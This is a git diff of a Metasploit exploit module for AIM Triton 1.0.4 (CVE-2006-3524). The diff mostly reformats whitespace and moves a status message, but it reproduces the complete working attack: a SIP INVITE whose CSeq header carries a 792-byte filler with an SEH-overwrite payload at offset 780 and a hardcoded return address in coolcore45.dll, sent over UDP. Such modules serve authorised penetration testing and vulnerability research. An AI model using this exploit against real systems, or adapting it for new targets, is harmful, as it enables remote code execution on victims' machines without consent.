diff --git a/modules/exploits/windows/sip/aim_triton_cseq.rb b/modules/exploits/windows/sip/aim_triton_cseq.rb index cd0f6c231a..c06f691d1c 100644 --- a/modules/exploits/windows/sip/aim_triton_cseq.rb +++ b/modules/exploits/windows/sip/aim_triton_cseq.rb @@ -19,10 +19,10 @@ class Exploits::Windows::Sip::Aim_Triton_Cseq < Msf::Exploit::Remote }, 'Author' => 'MC', 'Version' => '$Revision: 1.0 $', - 'References' => + 'References' => [ - ['BID', '18906'], - ['CVE', '2006-3524'], + ['BID', '18906'], + ['CVE', '2006-3524'], ], 'DefaultOptions' => { @@ -35,17 +35,13 @@ class Exploits::Windows::Sip::Aim_Triton_Cseq < Msf::Exploit::Remote 'StackAdjustment' => -3500, }, 'Platform' => 'win', - 'Targets' => [ - [ 'AIM Triton 1.0.4 Universal', { 'Ret' => 0x4017b3d9 } ], # coolcore45.dll + [ 'AIM Triton 1.0.4 Universal', { 'Ret' => 0x4017b3d9 } ], # coolcore45.dll ], - 'Privileged' => false, - 'DisclosureDate' => 'July 10 2006', - - 'DefaultTarget' => 0)) + 'DefaultTarget' => 0)) register_options( [ @@ -57,27 +53,27 @@ class Exploits::Windows::Sip::Aim_Triton_Cseq < Msf::Exploit::Remote def exploit connect_udp - print_status("Trying target #{target.name}...") - - user = Rex::Text.rand_text_english(2, payload_badchars) + user = Rex::Text.rand_text_english(2, payload_badchars) port = rand(65535).to_s - filler = Rex::Text.rand_text_english(792, payload_badchars) - seh = generate_seh_payload(target.ret) - filler[780, seh.length] = seh + filler = Rex::Text.rand_text_english(792, payload_badchars) + seh = generate_seh_payload(target.ret) + filler[780, seh.length] = seh - sploit = "INVITE sip:#{user}\@127.0.0.1 SIP/2.0" + "\r\n" - sploit << "To: " + "\r\n" - sploit << "Via: SIP/2.0/UDP #{rhost}:#{port}" + "\r\n" - sploit << "From: \"#{user}\"" + "\r\n" - sploit << "Call-ID: #{(rand(100)+100).to_s}#{rhost}" + "\r\n" - sploit << "CSeq: " + filler + "\r\n" - sploit << "Max-Forwards: 20" + "\r\n" - sploit << "Contact: " + "\r\n\r\n" + sploit = "INVITE sip:#{user}\@127.0.0.1 SIP/2.0" + "\r\n" + sploit << "To: " + "\r\n" + sploit << "Via: SIP/2.0/UDP #{rhost}:#{port}" + "\r\n" + sploit << "From: \"#{user}\"" + "\r\n" + sploit << "Call-ID: #{(rand(100)+100).to_s}#{rhost}" + "\r\n" + sploit << "CSeq: " + filler + "\r\n" + sploit << "Max-Forwards: 20" + "\r\n" + sploit << "Contact: " + "\r\n\r\n" + + print_status("Trying target #{target.name}...") udp_sock.put(sploit) handler - disconnect_udp + disconnect_udp end